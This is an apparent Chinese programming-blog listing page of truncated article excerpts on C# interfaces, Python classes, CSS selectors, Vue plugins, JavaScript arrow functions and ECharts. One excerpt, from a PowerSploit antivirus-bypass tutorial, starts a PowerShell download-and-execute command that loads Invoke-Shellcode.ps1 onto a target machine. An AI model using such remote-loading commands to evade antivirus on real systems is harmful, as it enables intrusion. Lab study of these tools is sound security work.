在介绍接口Interface的主要功能之前,我们先介绍一下什么是紧耦合 紧耦合的编程: 倘若Engine类出现错误,如误写为this.RPM = 0; 则在大项目中难以定位修改这个问题,因此引入接口减少耦合程度。 接口是一组契约,用来约束一组功能,这组功能的调用者是被约束的,被约束为只能调用这组接口 ...
分类:
其他好文 时间:
2019-10-05 16:35:06
阅读次数:
110
1 访问类的私有属性首先我们定义一个包含私有属性的类,尝试使用实例对象访问它 [Python] 纯文本查看 复制代码 ? 1 2 3 4 5 6 7 8 class People(object): def __init__(self): self.__age = 20 people = People ...
分类:
编程语言 时间:
2019-09-24 15:59:42
阅读次数:
91
一、字符串的类型 字符串是字符的序列表示,可以由一对单引号(')、双引号(")或者三引号(''')构成。其中单引号、双引号都可以表示单行字符串,二者作用相同。使用单引号时,双引号可以做为字符串的一部分;使用双引号时,单引号可以作为字符串的一部分。三引号可以表示单行或者多行字符串。 二、字符串使用实例 ...
分类:
其他好文 时间:
2019-09-19 19:48:29
阅读次数:
495
理论学习地址:https://www.runoob.com/cssref/css-selectors.html 使用实例: 1. 2. 特别说明:其中 class="form-control selected checked ng-untouched ng-pristine ng-invalid", ...
分类:
Web程序 时间:
2019-09-10 00:52:21
阅读次数:
114
一、vue lazyload插件: 插件地址:https://github.com/hilongjw/vue-lazyload demo:http://hilongjw.github.io/vue-lazyload/ 二、简单使用实例: 1. 安装插件: ...
分类:
其他好文 时间:
2019-08-31 12:50:20
阅读次数:
95
一、AntivirusBypass(绕过杀毒) Find-AVSignature 发现杀软的签名 1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本 iex(New-Object Net.WebClient).DownloadString(" ...
分类:
其他好文 时间:
2019-08-30 16:00:03
阅读次数:
86
数组可以拥有字符串的方法,字符串拥有数组的方法,而json同时拥有以上两种方法,是不是很神奇?其实我倒是喜欢管这种方法叫做「数据类型欺骗」。首先说一下js中两个比较接近的数据,一个叫数组,一个叫json。为什么先拿这两个讲呢?第一点,它俩都是一个“爹”,没错,都是Obj。再说一下他俩不一样的地方。json没有length,准确的说是json的length是undefined。其实这只是这个对象的一
分类:
Web程序 时间:
2019-08-29 00:11:12
阅读次数:
164
[TOC] 1. 组合 组合 :对象的某个属性是另一个类的对象 为什么使用组合 :可以减少代码冗余 如何使用组合 2. 多态与多态性 多态 :一类事物的多种形态。比如:动物类:人,狗,猪 多态性 :多态性是指在不考虑实例类型的情况下使用实例 好处 :增加了程序的灵活性,增加了程序的可扩展性 3. 封 ...
分类:
其他好文 时间:
2019-08-28 21:04:20
阅读次数:
115
我第一次接触到箭头函数=>的使用是在rxjs的教程中,当时这个用法看得我糊里糊涂。 箭头函数的两个好处:简化书写、不会绑定this。 看一下箭头函数的使用实例: 以上代码等价于: ...
分类:
其他好文 时间:
2019-08-27 22:42:42
阅读次数:
62
对于插件工具,感觉按着官方的教程,便可以使用,但是看这个Echarts有点晕乎乎的,还是不能快速的学习啊。 一、在webpack中使用ECharts 在项目里需要用到的界面中,按需引入需要的模块,不做全局引入;如果完整引入Echarts,会有很多冗余的文件,体积会比较大,造成资源加载等问题。(注:r ...
分类:
其他好文 时间:
2019-08-27 17:43:26
阅读次数:
153